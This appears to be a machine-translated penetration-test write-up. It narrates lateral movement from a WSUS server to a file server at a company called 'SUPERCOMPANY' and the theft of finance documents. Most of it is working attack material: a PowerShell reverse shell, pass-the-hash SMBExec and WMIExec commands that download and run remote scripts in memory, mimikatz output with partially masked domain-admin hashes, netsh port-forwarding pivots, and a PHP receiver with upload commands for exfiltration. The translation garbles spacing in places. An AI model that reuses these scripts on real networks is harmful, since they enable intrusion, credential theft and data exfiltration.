Company Smartphone Security (B) - Aim WSUS Server

Company Smartphone Security (B) - Aim WSUS Server. After scanning found that there are two hosts to meet our needs, send us a stable remote shell. They are WSUS (Windows Update Server) and Antivirus (Antivirus Related Server), respectively, because these services must have Internet access to update the database, let's start from the first.

There is an interesting question, NTLM hash of the local administrator is enough to access this server? Perhaps our answer is yes.

In a company, all servers use the same local administrator password is actually very common. This is often associated with first-time server creation (not a best-practice) where the first-time created server becomes a template, and subsequently deployed instances retain their original administrator password.

After a series of large tests, things are getting more complicated now and we have the following plans:

Put our previous Powershell script (r1.ps1) on a public web server

function Invoke-r1

{

$ client = New-Object Net.Sockets.TCPClient ('', 80)

$ stream = $ client.GetStream (); [byte []] $ bytes = 0..65535 |% {0}

while (($ i = $ stream.Read ($ bytes, 0, $ bytes.Length)) -ne 0)

{

$ data = (New-Object -TypeName System.Text.ASCIIEncoding) .GetString ($ bytes, 0, $ i)

$ sendback = (iex $ data 2> & 1 | Out-String)

$ sendback2 = $ sendback + 'PS' + (pwd) .Path + '>'

$ sendbyte = ([text.encoding] :: ASCII) .GetBytes ($ sendback2)

$ stream.Write ($ sendbyte, 0, $ sendbyte.Length)

$ stream.Flush ()

}

$ client.Close ()

}

Uploading SMBExec (smb.ps1) with Tomcat's webshell will allow us to pass hashes for authentication

We slightly modified the original SMBExec script and added a few lines to automate exploits. Once loaded, it will automatically invoke the necessary parameters to connect to the WSUS server, download the reverse shell to memory on our server, and then execute

Invoke-SMBExec \

-Target \

-Username Administrator -Hash 604603ab105adc8XXXXXXXXXXXXXXXXX \

-Command \

"Powershell` "IEX (New-Object Net.WebClient) .DownloadString (` 'http: /// r1.ps1`'); Invoke-r1` ""

Here's our all-in-one solution: Automated SMBExec, Powershell scripts that are automatically downloaded and executed

In webshell, we executed smb.ps1:

cmd / c powershell -executionpolicy bypass -fc: \ tomcat \ webapps \ cmd \ warfiles \ smb.ps1

Command executed with service BHTLCPTEICLBHQPOVGSM on 192.168.178.62

The attack was successful, and we received a shell from the SYSTEM privilege on the SRVWSUS machine:

connect to from 50341

PS C: \ Windows \ system32> whoami

nt authority \ system

Finally got a connection more stable shell, bye Android ~

But now our mission is different from before, and so far we have not been able to find a way to steal confidential data.

We also noticed that even when smb.ps1 is started as a local administrator, SMBExec generates processes with SYSTEM privileges (remember the whoami result earlier). Perhaps using wmiexec.ps1, a powerful Windows WMI interface Powershell wrapper, would be better suited for the following tasks because it would run the remote process using the credentials passed in.

We run mimikatz again, there is still no problem (we are SYSTEM permissions), SRVWSUS passed directly to our reverse shell, without having to upload the file. Remember, "mymy" is the name we confused about mimikatz.

PS C: \ Windows \ system32> iex (New-Object Net.WebClient) .DownloadString ('http: ///m.ps1'); Invoke-mymy

mimikatz (powershell) # sekurlsa :: logonpasswords

Authentication Id: 0; 749566 (00000000: 000b6ffe)

Session: Interactive from 2

User Name: administrator

Domain: SUPERCOMPANY

Logon Server: SRVDC1

Logon Time: 2/17/2017 4:23:28 PM

SID: S-1-5-21-3534665177-2148510708-2241433719-500

msv:

[00000003] Primary

* Username: Administrator

* Domain: SUPERCOMPANY

* NTLM: 446687c38d831f4XXXXXXXXXXXXXXXXX

* SHA1: 5cd9d993a606586XXXXXXXXXXXXXXXXXXXXXXXXX

[00010000] CredentialKeys

* NTLM: 446687c38d831f4XXXXXXXXXXXXXXXXX

* SHA1: 5cd9d993a606586XXXXXXXXXXXXXXXXXXXXXXXXX

tspkg:

wdigest:

* Username: Administrator

* Domain: SUPERCOMPANY

* Password: (null)

kerberos:

* Username: administrator

* Domain: SUPERCOMPANY.LOCAL

* Password: (null)

ssp: KO

credman:

Wow! Domain administrator log on to the server, we got the domain administrator's hash, the harvest is not small.

Is the game over? No! The customer asked us to steal confidential information, but we have not got any confidential documents yet. But now we know where to search, file server SRVFILE1

Locate File Server (SRVFILE1)

Is there anything more suitable for searching files than a file server? With domain administrator's password hashes, we've succeeded in half. With the previous all-in-one SMBExec, we simply replaced the local admin hash with the domain admin hash.

From the SRVWSUS reverse shell, we tried to attack the server with the same steps as before, but this time failed. After several attempts, we concluded that the server was configured to ban Internet access.

The new server needs a new plan, the latest plan is to go to SRVFILE1 with our existing SRVWSUS shell

Proceed as follows:

Use netsh to send all traffic sent to SRVWSUS 8888 port to attacker port 443

# SRVFILE1 SRVWSUS: 8888 ATTACKER: 443

netsh interface portproxy add v4tov4 listenport = 8888 listenaddress = 0.0.0.0 connectport = 443 connectaddress =

Upload a second reverse shell script, r2.ps1, on SRVWSUS, on our web server:

(New-Object Net.WebClient) .DownloadFile ('http: ///r2.ps1', 'c: \ tmp \ r2.ps1')

r2.ps1 differs from the previous script because it is connected to SRVWSUS instead of our public IP

...

$ client = New-Object System.Net.Sockets.TCPClient ('', 8888)

...

* Download a simple PowerShell HTTPServer on SRVWSUS:

# http.ps1

start-job {# will execute in background

$ p = "c: \ tmp \"

$ H = New-Object Net.HttpListener

$ H.Prefixes.Add ("http: // +: 8001 /")

$ H.Start ()

While ($ H.IsListening) {

$ HC = $ H.GetContext ()

$ HR = $ HC.Response

$ HR.Headers.Add ("Content-Type", "text / plain")

$ file = Join-Path $ p ($ HC.Request) .RawUrl

$ text = [IO.File] :: ReadAllText ($ file)

$ text = [Text.Encoding] :: UTF8.GetBytes ($ text)

$ HR.ContentLength64 = $ text.Length

$ HR.OutputStream.Write ($ text, 0, $ text.Length)

$ HR.Close ()

}

$ H.Stop ()

}

Start the HTTP listener and put it in the background, SRVFILE1 will download our reverse shell from here

PS C: \ tmp>. \ Http.ps1

We replaced SMBExec with WMIExec and downloaded the SRVWSUS wmiexec.ps1 file from our web server:

PS C: \ tmp> (New-Object Net.WebClient) .DownloadFile ('http: ///wmiexec.ps1', 'c: \ tmp \ wmiexec.ps1')

The file contained the following Invoke-WMIExec function at the end:

Invoke-WMIExec \

-Target -Domain SUPERCOMPANY \

-Username Administrator -Hash 446687c38d831f4XXXXXXXXXXXXXXXXX \

-Command \

"Powershell` "IEX (New-Object Net.WebClient) .DownloadString (` 'http: //: 8001 / r2.ps1`'); Invoke-r2` ""

Run wmiexec.ps1:

PS C: \ tmp>. \ Wmiexec.ps1

Command executed with process ID 4756 on 192.168.178.195

At the end of this story, we're a very "magic" shell that gets domain admin rights from SRVFILE1

connect to [our-webserver] from [company-ip] 49190

PS C: \ Windows \ system32> whoami

supercompany \ administrator

This image should help to understand this process:

In our final phase of intranet roaming, we only need to find a few confidential documents just fine. After a quick review of the hard drive, we found something:

Directory: F: \ Finance \ Reserved

Mode LastWriteTime Length Name

- ----- - -

-a- 9/24/2016 2:20 AM 164468 Supersecret.docx

-a- 5/29/2016 6:41 PM 12288 Balance.xlsx

...

This is the file we need! Just get them hand, we can prove the loopholes.

After five minutes of being happy, we in turn asked ourselves: How to get the file? First tried the FTP of our public network server, but bad luck, the other company's firewall shielded service. So we decided to upload via HTTP.

Now it's time to introduce our favorite PHP language, yes, we love PHP ~

We used a simple upload script on the public web server

// index.php

$ pic = @ $ _ FILES ['pic'] ['name'];

$ pic_loc = @ $ _ FILES ['pic'] ['tmp_name'];

echo (@move_uploaded_file ($ pic_loc, $ pic))? "DONE": "ERROR";?>

What's needed next is an HTTP client with file upload capability. Google some time, found an excellent Powershell script, then uploaded to SRVWSUS, named upload.ps1

To transfer the file, you must set up a connection to add a new port forwarding rule on SRVWSUS, this time at port 8889:

# SRVFILE1 SRVWSUS: 8889 ATTACKER: 80

interface portproxy add v4tov4 listenport = 8889 listenaddress = 0.0.0.0 connectport = 80 connectaddress =

After setting up, download and execute HTTP upload script in SRVFILE1. Note that the file was downloaded from SRVWSUS port 8889, which maps to port 80 on PHP running on our server. Our port 443 port maps to SRVWSUS port 8888 and the reverse shell receives commands from there.

PS C: \ tmp \> (New-Object Net.WebClient) .DownloadFile ('http: //: 8889 / up.ps1', 'c: \ tmp \ upload.ps1')

PS C: \ tmp \>.. \ Upload.ps1

PS C: \ tmp> invoke-upload -infile f: \ finance \ reserved \ Supersecret.docx -uri http: //: 8889 /

content: System.Net.Http.StreamContent

DONE

PS C: \ tmp> invoke-upload -infile f: \ finance \ reserved \ balance.xlsx -uri http: //: 8889 /

content: System.Net.Http.StreamContent

DONE

The successful transfer of confidential documents to our web server, the task is completed!

This time we did not find any large files, if any, we can zip them, the powershell command is as follows:

$ src = "f: \ finance \"

$ dst = "c: \ tmp \ files.zip"

[Reflection.Assembly] :: LoadWithPartialName ("System.IO.Compression.FileSystem")

[System.IO.Compression.ZipFile] :: CreateFromDirectory ($ src, $ dst, [System.IO.Compression.CompressionLevel] :: Optimal, $ true)